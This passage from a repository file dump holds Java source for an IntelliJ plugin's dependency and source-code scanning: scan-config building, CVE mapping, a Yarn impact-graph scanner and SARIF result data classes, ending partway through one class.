(fileTreeNodes.isEmpty()) {\n            return;\n        }\n        LocalComponentsTree componentsTree = LocalComponentsTree.getInstance(project);\n        componentsTree.addScanResults(fileTreeNodes);\n    }\n\n    private ScanConfig.Builder createBasicScannerInput() {\n        String excludePattern = GlobalSettings.getInstance().getServerConfig().getExcludedPaths();\n        return new ScanConfig.Builder().roots(List.of(getProjectBasePath(project).toAbsolutePath().toString())).skippedFolders(convertToSkippedFolders(excludePattern));\n    }\n\n    private ScanConfig.Builder createBasicScannerInput(ModuleConfig config, ScannerConfig scannerConfig) {\n        if (config == null) {\n            return createBasicScannerInput();\n        }\n\n        // Scanner's working dirs (roots)\n        List<String> workingDirs = new ArrayList<>();\n        String projectBasePath = defaultIfEmpty(config.getSourceRoot(), getProjectBasePath(project).toAbsolutePath().toString());\n        if (scannerConfig != null && !CollectionUtils.isEmpty(scannerConfig.getWorkingDirs())) {\n            for (String workingDir : scannerConfig.getWorkingDirs()) {\n                workingDirs.add(Paths.get(projectBasePath).resolve(workingDir).toString());\n            }\n        } else {\n            // Default: \".\", the application's root directory.\n            workingDirs.add(projectBasePath);\n        }\n\n        // Module exclude patterns\n        List<String> skippedFolders = new ArrayList<>();\n        if (config.getExcludePatterns() != null) {\n            skippedFolders.addAll(config.getExcludePatterns());\n        }\n        if (scannerConfig != null && scannerConfig.getExcludePatterns() != null) {\n            // Adds scanner specific exclude patterns if exists\n            skippedFolders.addAll(scannerConfig.getExcludePatterns());\n        }\n        String excludePattern = GlobalSettings.getInstance().getServerConfig().getExcludedPaths();\n        // If exclude patterns was not provided, use the configured IDE patterns.\n        skippedFolders = skippedFolders.isEmpty() ? convertToSkippedFolders(excludePattern) : skippedFolders;\n\n        // Extra scanners params\n        List<String> excludeRules = null;\n        String language = null;\n        if (scannerConfig != null) {\n            excludeRules = scannerConfig.getExcludedRules();\n            language = scannerConfig.getLanguage();\n        }\n\n        return new ScanConfig.Builder().roots(workingDirs).skippedFolders(skippedFolders).excludedRules(excludeRules).language(language);\n    }\n\n    /**\n     * Splits the users' configured ExcludedPaths glob pattern to a list\n     * of simplified patterns by avoiding the use of \"{}\".\n     *\n     * @return a list of equivalent patterns without the use of \"{}\"\n     */\n    public static List<String> convertToSkippedFolders(String excludePattern) {\n        List<String> skippedFoldersPatterns = new ArrayList<>();\n        if (StringUtils.isNotBlank(excludePattern)) {\n            Matcher matcher = EXCLUSIONS_REGEX_PATTERN.matcher(excludePattern);\n            if (!matcher.find()) {\n                // Convert pattern form shape \"**/*a*\" to \"**/*a*/**\"\n                return List.of(StringUtils.removeEnd(excludePattern, EXCLUSIONS_SUFFIX) + SKIP_FOLDERS_SUFFIX);\n            }\n            String[] dirsNames = matcher.group(1).split(\",\");\n            for (String dirName : dirsNames) {\n                skippedFoldersPatterns.add(EXCLUSIONS_PREFIX + dirName.strip() + SKIP_FOLDERS_SUFFIX);\n            }\n        }\n        return skippedFoldersPatterns;\n    }\n\n    /**\n     * Maps direct dependencies  issues (vulnerabilities and security violations) by their CVE IDs.\n     * Issues without a CVE ID are ignored.\n     *\n     * @param fileTreeNodes collection of FileTreeNodes.\n     * @return a map of CVE IDs to lists of issues with them.\n     */\n    private Map<String, List<VulnerabilityNode>> mapDirectIssuesByCve(Collection<FileTreeNode> fileTreeNodes) {\n        Map<String, List<VulnerabilityNode>> issues = new HashMap<>();\n        for (FileTreeNode fileTreeNode : fileTreeNodes) {\n            for (TreeNode treeNode : fileTreeNode.getChildren()) {\n                DependencyNode dep = (DependencyNode) treeNode;\n                if (dep.isIndirect()) {\n                    continue;\n                }\n                Enumeration<TreeNode> treeNodeEnumeration = dep.children();\n                while (treeNodeEnumeration.hasMoreElements()) {\n                    TreeNode node = treeNodeEnumeration.nextElement();\n                    if (!(node instanceof VulnerabilityNode vulnerabilityNode)) {\n                        continue;\n                    }\n                    if (vulnerabilityNode.getCve() == null || StringUtils.isBlank(vulnerabilityNode.getCve().getCveId())) {\n                        continue;\n                    }\n                    String cveId = vulnerabilityNode.getCve().getCveId();\n                    issues.putIfAbsent(cveId, new ArrayList<>());\n                    issues.get(cveId).add(vulnerabilityNode);\n                }\n            }\n        }\n        return issues;\n    }\n\n    private Map<SourceCodeScanType, ScanBinaryExecutor> initScannersCollection() {\n        Map<SourceCodeScanType, ScanBinaryExecutor> scanners = new HashMap<>();\n        scanners.put(SourceCodeScanType.SECRETS, new SecretsScannerExecutor(Logger.getInstance()));\n        scanners.put(SourceCodeScanType.IAC, new IACScannerExecutor(Logger.getInstance()));\n        scanners.put(SourceCodeScanType.SAST, new SastScannerExecutor(Logger.getInstance()));\n        return scanners;\n    }\n\n    public boolean isScanInProgress() {\n        return this.scanInProgress.get();\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/YarnScanner.java",
    "content": "package com.jfrog.ide.idea.scan;\n\nimport com.intellij.openapi.project.Project;\nimport com.intellij.openapi.vfs.LocalFileSystem;\nimport com.intellij.openapi.vfs.VirtualFile;\nimport com.intellij.psi.PsiFile;\nimport com.intellij.psi.PsiManager;\nimport com.intellij.util.EnvironmentUtil;\nimport com.jfrog.ide.common.deptree.DepTree;\nimport com.jfrog.ide.common.nodes.DependencyNode;\nimport com.jfrog.ide.common.nodes.DescriptorFileTreeNode;\nimport com.jfrog.ide.common.nodes.FileTreeNode;\nimport com.jfrog.ide.common.scan.ComponentPrefix;\nimport com.jfrog.ide.common.scan.ScanLogic;\nimport com.jfrog.ide.common.yarn.YarnTreeBuilder;\nimport com.jfrog.ide.idea.inspections.AbstractInspection;\nimport com.jfrog.ide.idea.inspections.YarnInspection;\nimport com.jfrog.ide.idea.scan.data.PackageManagerType;\nimport com.jfrog.ide.idea.scan.utils.ImpactTreeBuilder;\nimport com.jfrog.ide.idea.ui.ComponentsTree;\nimport com.jfrog.ide.idea.ui.menus.filtermanager.ConsistentFilterManager;\nimport org.apache.commons.collections4.CollectionUtils;\nimport org.apache.commons.lang3.StringUtils;\n\nimport java.io.IOException;\nimport java.nio.file.Paths;\nimport java.util.*;\nimport java.util.concurrent.CopyOnWriteArrayList;\nimport java.util.concurrent.ExecutorService;\n\n/**\n * Created by Yahav Itzhak on 13 Dec 2017.\n */\npublic class YarnScanner extends SingleDescriptorScanner {\n\n    private final YarnTreeBuilder yarnTreeBuilder;\n\n    /**\n     * @param project   currently opened IntelliJ project. We'll use this project to retrieve project based services\n     *                  like {@link ConsistentFilterManager} and {@link ComponentsTree}.\n     * @param basePath  the package.json directory\n     * @param executor  an executor that should limit the number of running tasks to 3\n     * @param scanLogic the scan logic to use\n     */\n    YarnScanner(Project project, String basePath, ExecutorService executor, ScanLogic scanLogic) {\n        super(project, basePath, ComponentPrefix.NPM, executor, Paths.get(basePath, \"package.json\").toString(), scanLogic);\n        getLog().info(\"Found yarn project: \" + getProjectPath());\n        yarnTreeBuilder = new YarnTreeBuilder(Paths.get(basePath), descriptorFilePath, EnvironmentUtil.getEnvironmentMap(), getLog());\n    }\n\n    @Override\n    protected DepTree buildTree() throws IOException {\n        return yarnTreeBuilder.buildTree();\n    }\n\n    @Override\n    protected PsiFile[] getProjectDescriptors() {\n        VirtualFile file = LocalFileSystem.getInstance().findFileByPath(descriptorFilePath);\n        if (file == null) {\n            return null;\n        }\n        PsiFile psiFile = PsiManager.getInstance(project).findFile(file);\n        return new PsiFile[]{psiFile};\n    }\n\n    @Override\n    protected AbstractInspection getInspectionTool() {\n        return new YarnInspection();\n    }\n\n    @Override\n    protected PackageManagerType getPackageManagerType() {\n        return PackageManagerType.YARN;\n    }\n\n    /**\n     * Builds a map of package name to versions out of a set of <package-name>:<version> Strings.\n     *\n     * @param packages - A set of packages in the format of 'package-name:version'.\n     * @return - A map of package name to a set of versions.\n     */\n    Map<String, Set<String>> getPackageNameToVersionsMap(Set<String> packages) {\n        Map<String, Set<String>> packageNameToVersions = new HashMap<>();\n        for (String fullNamePackage : CollectionUtils.emptyIfNull(packages)) {\n            String[] packageSplit = StringUtils.split(fullNamePackage, \":\");\n            if (packageSplit.length != 2) {\n                this.getLog().error(\"Illegal package name: \" + fullNamePackage + \". Skipping package, the dependency tree may be incomplete.\");\n                continue;\n            }\n            String packageName = packageSplit[0];\n            String packageVersion = packageSplit[1];\n            packageNameToVersions.putIfAbsent(packageName, new HashSet<>());\n            packageNameToVersions.get(packageName).add(packageVersion);\n        }\n        return packageNameToVersions;\n    }\n\n    private void buildImpactGraphFromPaths(DescriptorFileTreeNode descriptorNode, Map<String, DependencyNode> vulnerableDependencies, Map<String, List<List<String>>> packageVersionsImpactPaths) {\n        for (Map.Entry<String, List<List<String>>> aPackageVersionImpactPaths : packageVersionsImpactPaths.entrySet()) {\n            String packageFullName = aPackageVersionImpactPaths.getKey();\n            List<List<String>> impactPaths = aPackageVersionImpactPaths.getValue();\n            DependencyNode dependencyNode = vulnerableDependencies.get(packageFullName);\n\n            // build the impact graph for each vulnerable dependency out of its impact paths\n            for (List<String> impactPath : impactPaths) {\n                ImpactTreeBuilder.addImpactPathToDependencyNode(dependencyNode, impactPath);\n            }\n\n            boolean direct = impactPaths.stream().map(List::size).anyMatch(size -> size == 2);\n\n            dependencyNode.setIndirect(!direct);\n            descriptorNode.addDependency(dependencyNode);\n        }\n    }\n\n    /**\n     * Builds the impact graph for each given vulnerable dependencies.\n     * The impact graph is built by running 'yarn why <package>' command, making it different from other package managers.\n     *\n     * @param vulnerableDependencies - The vulnerable dependencies to build the impact graph for.\n     *                               The key is the package name and version, and the value is the dependency node.\n     * @param depTree                - The whole dependency tree (not just vulnerable dependencies) that was generated earlier.\n     * @return - The impact graph attached to package.json DescriptorFileTreeNode\n     */\n    @Override\n    protected List<FileTreeNode> buildImpactGraph(Map<String, DependencyNode> vulnerableDependencies, DepTree depTree) throws IOException {\n        DescriptorFileTreeNode descriptorNode = new DescriptorFileTreeNode(depTree.getRootNodeDescriptorFilePath());\n        // Build a map of package name to versions, to avoid running 'yarn why' multiple times for the same package.\n        Map<String, Set<String>> packageNameToVersions = this.getPackageNameToVersionsMap(vulnerableDependencies.keySet());\n\n        for (Map.Entry<String, Set<String>> entry : packageNameToVersions.entrySet()) {\n            // Find the impact paths for each package for all its vulnerable versions\n            Map<String, List<List<String>>> packageVersionsImpactPaths = yarnTreeBuilder.findDependencyImpactPaths(depTree.rootId(), entry.getKey(), entry.getValue());\n            // Build the impact graph for each vulnerable dependency out of its impact paths, set Indirect flag and add it to the descriptor node\n            buildImpactGraphFromPaths(descriptorNode, vulnerableDependencies, packageVersionsImpactPaths);\n        }\n\n        // Return a list of one element - the descriptor node for package.json\n        // COW list is used to avoid ConcurrentModificationException in SourceCodeScannerManager\n        return new CopyOnWriteArrayList<>(Collections.singletonList(descriptorNode));\n    }\n}\n\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/data/AnalyzeSuppression.java",
    "content": "package com.jfrog.ide.idea.scan.data;\n\nimport com.fasterxml.jackson.annotation.JsonProperty;\nimport lombok.Getter;\nimport lombok.Setter;\n\n@Getter\n@Setter\npublic class AnalyzeSuppression {\n    @JsonProperty(\"kind\")\n    private String kind;\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/data/ArtifactLocation.java",
    "content": "package com.jfrog.ide.idea.scan.data;\n\nimport com.fasterxml.jackson.annotation.JsonProperty;\n\nimport java.util.Objects;\n\npublic class ArtifactLocation {\n\n    @JsonProperty(\"uri\")\n    private String uri;\n\n    public String getUri() {\n        return uri;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public void setUri(String uri) {\n        this.uri = uri;\n    }\n\n    @Override\n    public int hashCode() {\n        return Objects.hash(uri);\n    }\n\n    @Override\n    public boolean equals(Object other) {\n        if (other == this) {\n            return true;\n        }\n        if (!(other instanceof ArtifactLocation)) {\n            return false;\n        }\n        ArtifactLocation rhs = ((ArtifactLocation) other);\n        return (Objects.equals(this.uri, rhs.uri));\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/data/CodeFlow.java",
    "content": "package com.jfrog.ide.idea.scan.data;\n\nimport com.fasterxml.jackson.annotation.JsonProperty;\nimport org.apache.commons.collections4.CollectionUtils;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Objects;\n\npublic class CodeFlow {\n\n    @JsonProperty(\"threadFlows\")\n    private List<ThreadFlow> threadFlows = new ArrayList<>();\n\n    @SuppressWarnings(\"unused\")\n    public List<ThreadFlow> getThreadFlows() {\n        return threadFlows;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public void setThreadFlows(List<ThreadFlow> threadFlows) {\n        this.threadFlows = threadFlows;\n    }\n\n    @Override\n    public int hashCode() {\n        return Objects.hash(threadFlows);\n    }\n\n    @Override\n    public boolean equals(Object other) {\n        if (other == this) {\n            return true;\n        }\n        if (!(other instanceof CodeFlow)) {\n            return false;\n        }\n        CodeFlow rhs = ((CodeFlow) other);\n        return (CollectionUtils.isEqualCollection(this.threadFlows, rhs.threadFlows));\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/data/Driver.java",
    "content": "package com.jfrog.ide.idea.scan.data;\n\nimport com.fasterxml.jackson.annotation.JsonProperty;\nimport org.apache.commons.collections4.CollectionUtils;\n\nimport java.util.List;\nimport java.util.Objects;\n\npublic class Driver {\n\n    @JsonProperty(\"name\")\n    private String name;\n\n    @JsonProperty(\"rules\")\n    private List<Rule> rules;\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n    @SuppressWarnings({\"unused\"})\n    public  List<Rule> getRules() {\n        return rules;\n    }\n\n    @SuppressWarnings({\"unused\"})\n    public void setLocations( List<Rule> rules) {\n        this.rules = rules;\n    }\n\n    @Override\n    public int hashCode() {\n        return Objects.hash(name, rules);\n    }\n\n    @Override\n    public boolean equals(Object other) {\n        if (other == this) {\n            return true;\n        }\n        if (!(other instanceof Driver)) {\n            return false;\n        }\n        Driver rhs = ((Driver) other);\n        return (Objects.equals(this.name, rhs.name) && (CollectionUtils.isEqualCollection(this.rules, rhs.rules)));\n    }\n\n    public Rule getRuleById(String ruleId) throws IndexOutOfBoundsException {\n        return rules.stream()\n                .filter(rule -> rule.getId().equals(ruleId))\n                .findFirst()\n                .orElseThrow(() -> new IndexOutOfBoundsException(\"Rule not found\"));\n    }\n\n\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/data/Invocation.java",
    "content": "package com.jfrog.ide.idea.scan.data;\n\nimport com.fasterxml.jackson.annotation.JsonProperty;\nimport com.fasterxml.jackson.annotation.JsonPropertyOrder;\nimport org.apache.commons.collections4.CollectionUtils;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Objects;\n\n@JsonPropertyOrder({\"executionSuccessful\", \"arguments\", \"workingDirectory\"})\npublic class Invocation {\n\n    @JsonProperty(\"executionSuccessful\")\n    private Boolean executionSuccessful;\n    @JsonProperty(\"arguments\")\n    private List<String> arguments = new ArrayList<>();\n    @JsonProperty(\"workingDirectory\")\n    private WorkingDirectory workingDirectory;\n\n    @SuppressWarnings(\"unused\")\n    public Boolean getExecutionSuccessful() {\n        return executionSuccessful;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public void setExecutionSuccessful(Boolean executionSuccessful) {\n        this.executionSuccessful = executionSuccessful;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public List<String> getArguments() {\n        return arguments;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public void setArguments(List<String> arguments) {\n        this.arguments = arguments;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public WorkingDirectory getWorkingDirectory() {\n        return workingDirectory;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public void setWorkingDirectory(WorkingDirectory workingDirectory) {\n        this.workingDirectory = workingDirectory;\n    }\n\n    @Override\n    public int hashCode() {\n        return Objects.hash(arguments, executionSuccessful, workingDirectory);\n    }\n\n    @Override\n    public boolean equals(Object other) {\n        if (other == this) {\n            return true;\n        }\n        if (!(other instanceof Invocation)) {\n            return false;\n        }\n        Invocation rhs = ((Invocation) other);\n        return (((CollectionUtils.isEqualCollection(this.arguments, rhs.arguments)) && (Objects.equals(this.executionSuccessful, rhs.executionSuccessful))) && (Objects.equals(this.workingDirectory, rhs.workingDirectory)));\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/data/Location.java",
    "content": "package com.jfrog.ide.idea.scan.data;\n\nimport com.fasterxml.jackson.annotation.JsonProperty;\n\nimport java.util.Objects;\n\npublic class Location {\n\n    @JsonProperty(\"physicalLocation\")\n    private PhysicalLocation physicalLocation;\n\n    public PhysicalLocation getPhysicalLocation() {\n        return physicalLocation;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public void setPhysicalLocation(PhysicalLocation physicalLocation) {\n        this.physicalLocation = physicalLocation;\n    }\n\n    @Override\n    public int hashCode() {\n        return Objects.hash(physicalLocation);\n    }\n\n    @Override\n    public boolean equals(Object other) {\n        if (other == this) {\n            return true;\n        }\n        if (!(other instanceof Location)) {\n            return false;\n        }\n        Location rhs = ((Location) other);\n        return (Objects.equals(this.physicalLocation, rhs.physicalLocation));\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/data/Message.java",
    "content": "package com.jfrog.ide.idea.scan.data;\n\nimport com.fasterxml.jackson.annotation.JsonProperty;\n\nimport java.util.Objects;\n\npublic class Message {\n\n    @JsonProperty(\"text\")\n    private String text;\n\n    @JsonProperty(\"markdown\")\n    private String markdown;\n\n    public String getText() {\n        return text;\n    }\n\n    public void setText(String text) {\n        this.text = text;\n    }\n\n    @Override\n    public int hashCode() {\n        return Objects.hash(text);\n    }\n\n    @Override\n    public boolean equals(Object other) {\n        if (other == this) {\n            return true;\n        }\n        if (!(other instanceof Message)) {\n            return false;\n        }\n        Message rhs = ((Message) other);\n        return (Objects.equals(this.text, rhs.text));\n    }\n\n    @SuppressWarnings({\"unused\"})\n    public String getMarkdown() {\n        return markdown;\n    }\n\n    @SuppressWarnings({\"unused\"})\n    public void setMarkdown(String markdown) {\n        this.markdown = markdown;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/data/NewScanConfig.java",
    "content": "package com.jfrog.ide.idea.scan.data;\n\nimport com.fasterxml.jackson.annotation.JsonProperty;\nimport com.jfrog.ide.common.nodes.subentities.SourceCodeScanType;\nimport lombok.AllArgsConstructor;\nimport lombok.Getter;\nimport lombok.NoArgsConstructor;\n\nimport java.util.List;\n\n@Getter\n@NoArgsConstructor\n@AllArgsConstructor\npublic class NewScanConfig {\n    @JsonProperty(\"type\")\n    private SourceCodeScanType scanType;\n    @JsonProperty(\"roots\")\n    private List<String> roots;\n    @JsonProperty(\"language\")\n    private String language;\n    @JsonProperty(\"output\")\n    private String output;\n    @JsonProperty(\"exclude_patterns\")\n    private List<String> excludePatterns;\n    @JsonProperty(\"excluded-rules\")\n    private List<String> excludedRules;\n\n    public NewScanConfig(ScanConfig inputParams) {\n        this(inputParams.getScanType(),\n                inputParams.getRoots(),\n                inputParams.getLanguage(),\n                inputParams.getOutput(),\n                inputParams.getSkippedFolders(),\n                inputParams.getExcludedRules());\n    }\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/data/NewScansConfig.java",
    "content": "package com.jfrog.ide.idea.scan.data;\n\nimport com.fasterxml.jackson.annotation.JsonProperty;\nimport lombok.Getter;\nimport lombok.NoArgsConstructor;\n\nimport java.util.List;\n\n@Getter\n@NoArgsConstructor\npublic class NewScansConfig {\n    @JsonProperty(\"scans\")\n    private List<NewScanConfig> scans;\n\n    public NewScansConfig(NewScanConfig scan) {\n        this.scans = List.of(scan);\n    }\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/data/Output.java",
    "content": "package com.jfrog.ide.idea.scan.data;\n\nimport com.fasterxml.jackson.annotation.JsonProperty;\nimport org.apache.commons.collections4.CollectionUtils;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Objects;\n\npublic class Output {\n\n    @JsonProperty(\"runs\")\n    private List<Run> runs = new ArrayList<>();\n    @JsonProperty(\"version\")\n    private String version;\n\n    public List<Run> getRuns() {\n        return runs;\n    }\n    @SuppressWarnings(\"unused\")\n    public void setRuns(List<Run> runs) {\n        this.runs = runs;\n    }\n\n    public String getVersion() {\n        return version;\n    }\n\n    public void setVersion(String version) {\n        this.version = version;\n    }\n\n    @Override\n    public int hashCode() {\n        return Objects.hash(runs, version);\n    }\n\n    @Override\n    public boolean equals(Object other) {\n        if (other == this) {\n            return true;\n        }\n        if (!(other instanceof Output)) {\n            return false;\n        }\n        Output rhs = ((Output) other);\n        return ((CollectionUtils.isEqualCollection(this.runs, rhs.runs))) && (Objects.equals(this.version, rhs.version));\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/data/PackageManagerType.java",
    "content": "package com.jfrog.ide.idea.scan.data;\n\nimport lombok.Getter;\n\n@Getter\npublic enum PackageManagerType {\n    PYPI(\"pypi\"),\n    NPM(\"npm\"),\n    YARN(\"yarn\"),\n    MAVEN(\"maven\"),\n    GRADLE(\"gradle\"),\n    GO(\"go\");\n\n    private final String name;\n\n    PackageManagerType(String name) {\n        this.name = name;\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/data/PhysicalLocation.java",
    "content": "package com.jfrog.ide.idea.scan.data;\n\nimport com.fasterxml.jackson.annotation.JsonProperty;\n\nimport java.util.Objects;\npublic class PhysicalLocation {\n\n    @JsonProperty(\"artifactLocation\")\n    private ArtifactLocation artifactLocation;\n    @JsonProperty(\"region\")\n    private Region region;\n\n    public ArtifactLocation getArtifactLocation() {\n        return artifactLocation;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public void setArtifactLocation(ArtifactLocation artifactLocation) {\n        this.artifactLocation = artifactLocation;\n    }\n\n    public Region getRegion() {\n        return region;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public void setRegion(Region region) {\n        this.region = region;\n    }\n\n    @Override\n    public int hashCode() {\n        return Objects.hash(region, artifactLocation);\n    }\n\n    @Override\n    public boolean equals(Object other) {\n        if (other == this) {\n            return true;\n        }\n        if (!(other instanceof PhysicalLocation)) {\n            return false;\n        }\n        PhysicalLocation rhs = ((PhysicalLocation) other);\n        return ((Objects.equals(this.region, rhs.region)) && (Objects.equals(this.artifactLocation, rhs.artifactLocation)));\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/data/Region.java",
    "content": "package com.jfrog.ide.idea.scan.data;\n\nimport com.fasterxml.jackson.annotation.JsonProperty;\n\nimport java.util.Objects;\n\npublic class Region {\n\n    @JsonProperty(\"endColumn\")\n    private int endColumn;\n    @JsonProperty(\"endLine\")\n    private int endLine;\n    @JsonProperty(\"startColumn\")\n    private int startColumn;\n    @JsonProperty(\"startLine\")\n    private int startLine;\n    @JsonProperty(\"snippet\")\n\n    private Message snippet;\n\n    public int getEndColumn() {\n        return endColumn;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public void setEndColumn(int endColumn) {\n        this.endColumn = endColumn;\n    }\n\n    public int getEndLine() {\n        return endLine;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public void setEndLine(int endLine) {\n        this.endLine = endLine;\n    }\n\n    public int getStartColumn() {\n        return startColumn;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public void setStartColumn(int startColumn) {\n        this.startColumn = startColumn;\n    }\n\n    public int getStartLine() {\n        return startLine;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public void setStartLine(int startLine) {\n        this.startLine = startLine;\n    }\n\n    public Message getSnippet() {\n        return snippet;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public void setSnippet(Message snippet) {\n        this.snippet = snippet;\n    }\n\n    @Override\n    public int hashCode() {\n        return Objects.hash(endLine, endColumn, startColumn, startLine, snippet);\n    }\n\n    @Override\n    public boolean equals(Object other) {\n        if (other == this) {\n            return true;\n        }\n        if (!(other instanceof Region)) {\n            return false;\n        }\n        Region rhs = ((Region) other);\n        return ((((Objects.equals(this.endLine, rhs.endLine)) && (Objects.equals(this.endColumn, rhs.endColumn))) && (Objects.equals(this.startColumn, rhs.startColumn))) && (Objects.equals(this.startLine, rhs.startLine)) && (Objects.equals(this.snippet, rhs.snippet)));\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/data/Rule.java",
    "content": "package com.jfrog.ide.idea.scan.data;\n\nimport com.fasterxml.jackson.annotation.JsonProperty;\nimport java.util.Objects;\nimport java.util.Optional;\n\npublic class Rule {\n\n    @JsonProperty(\"id\")\n    private String id;\n\n    @JsonProperty(\"name\")\n    private String name;\n\n    @JsonProperty(\"shortDescription\")\n    private Message shortDescription;\n\n    @JsonProperty(\"fullDescription\")\n    private Message fullDescription;\n\n    @JsonProperty(\"properties\")\n    private RuleProperties properties;\n\n    public String getId() {\n        return id;\n    }\n\n    public void setId(String id) {\n        this.id = id;\n    }\n\n    @SuppressWarnings({\"unused\"})\n    public Message getShortDescription() {\n        return shortDescription;\n    }\n\n    @SuppressWarnings({\"unused\"})\n    public void setShortDescription(Message shortDescription) {\n        this.shortDescription = shortDescription;\n    }\n\n    @SuppressWarnings({\"unused\"})\n    public Message getFullDescription() {\n        return fullDescription;\n    }\n\n    @SuppressWarnings({\"unused\"})\n    public void setFullDescription(Message fullDescription) {\n        this.fullDescription = fullDescription;\n    }\n\n    public Optional<RuleProperties> getRuleProperties() {\n        return Optional.ofNullable(properties);\n    }\n\n    @Override\n    public int hashCode() {\n        return Objects.hash(id);\n    }\n\n\n    @Override\n    public boolean equals(Object other) {\n        if (other == this) {\n            return true;\n        }\n        if (!(other instanceof Rule)) {\n            return false;\n        }\n        Rule rhs = ((Rule) other);\n        return Objects.equals(this.id, rhs.id);\n    }\n}\n\n\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/data/RuleProperties.java",
    "content": "package com.jfrog.ide.idea.scan.data;\n\nimport com.fasterxml.jackson.annotation.JsonProperty;\nimport lombok.Getter;\n\n@Getter\npublic class RuleProperties {\n\n    @JsonProperty(\"conclusion\")\n    private String conclusion;\n\n    @JsonProperty(\"applicability\")\n    private String applicability;\n\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/data/Run.java",
    "content": "package com.jfrog.ide.idea.scan.data;\n\nimport com.fasterxml.jackson.annotation.JsonProperty;\nimport org.apache.commons.collections4.CollectionUtils;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Objects;\n\npublic class Run {\n\n    @JsonProperty(\"tool\")\n    private Tool tool;\n    @JsonProperty(\"invocations\")\n    private List<Invocation> invocations = new ArrayList<>();\n    @JsonProperty(\"results\")\n    private List<SarifResult> results = new ArrayList<>();\n\n    public Tool getTool() {\n        return tool;\n    }\n\n    @SuppressWarnings({\"unused\"})\n    public void setTool(Tool tool) {\n        this.tool = tool;\n    }\n\n    @SuppressWarnings({\"unused\"})\n    public List<Invocation> getInvocations() {\n        return invocations;\n    }\n\n    @SuppressWarnings({\"unused\"})\n    public void setInvocations(List<Invocation> invocations) {\n        this.invocations = invocations;\n    }\n\n    public List<SarifResult> getResults() {\n        return results;\n    }\n\n    public Rule getRuleFromRunById(String ruleId) {\n            return this.getTool().getDriver().getRuleById(ruleId);\n    }\n\n    public void setResults(List<SarifResult> results) {\n        this.results = results;\n    }\n\n    @Override\n    public int hashCode() {\n        return Objects.hash(results, tool, invocations);\n    }\n\n    @Override\n    public boolean equals(Object other) {\n        if (other == this) {\n            return true;\n        }\n        if (!(other instanceof Run)) {\n            return false;\n        }\n        Run rhs = ((Run) other);\n        return (((CollectionUtils.isEqualCollection(this.results, rhs.results)) && (Objects.equals(this.tool, rhs.tool))) && (CollectionUtils.isEqualCollection(this.invocations, rhs.invocations)));\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/data/SarifResult.java",
    "content": "package com.jfrog.ide.idea.scan.data;\n\nimport com.fasterxml.jackson.annotation.JsonProperty;\nimport lombok.Getter;\nimport org.apache.commons.collections4.CollectionUtils;\nimport org.apache.commons.lang3.ArrayUtils;\nimport org.apache.commons.lang3.StringUtils;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Objects;\n\n@Getter\npublic class SarifResult {\n    @JsonProperty(\"message\")\n    private Message message;\n    @JsonProperty(\"locations\")\n    private List<Location> locations = new ArrayList<>();\n    @JsonProperty(\"ruleId\")\n    private String ruleId;\n    @JsonProperty(\"codeFlows\")\n    private List<CodeFlow> codeFlows = new ArrayList<>();\n    @JsonProperty(\"kind\")\n    private String kind;\n    @JsonProperty(\"level\")\n    private String severity;\n    @JsonProperty(\"suppressions\")\n    private AnalyzeSuppression[] suppressions;\n\n    public void setKind(String kind) {\n        this.kind = kind;\n    }\n\n    public void setSeverity(String severity) {\n        this.severity = severity;\n    }\n\n    public void setSuppressions(AnalyzeSuppression[] suppressions) {\n        this.suppressions = suppressions;\n    }\n\n    public String getKind() {\n        return StringUtils.defaultString(kind);\n    }\n\n    public String getSeverity() {\n        return StringUtils.defaultString(severity, \"warning\");\n    }\n\n    public void setMessage(Message message) {\n        this.message = message;\n    }\n\n    @SuppressWarnings({\"unused\"})\n    public void setLocations(List<Location> locations) {\n        this.locations = locations;\n    }\n\n    @SuppressWarnings({\"unused\"})\n    public void setRuleId(String ruleId) {\n        this.ruleId = ruleId;\n    }\n\n    @SuppressWarnings({\"unused\"})\n    public List<CodeFlow> getCodeFlows() {\n        return codeFlows;\n    }\n\n    @SuppressWarnings({\"unused\"})\n    public void 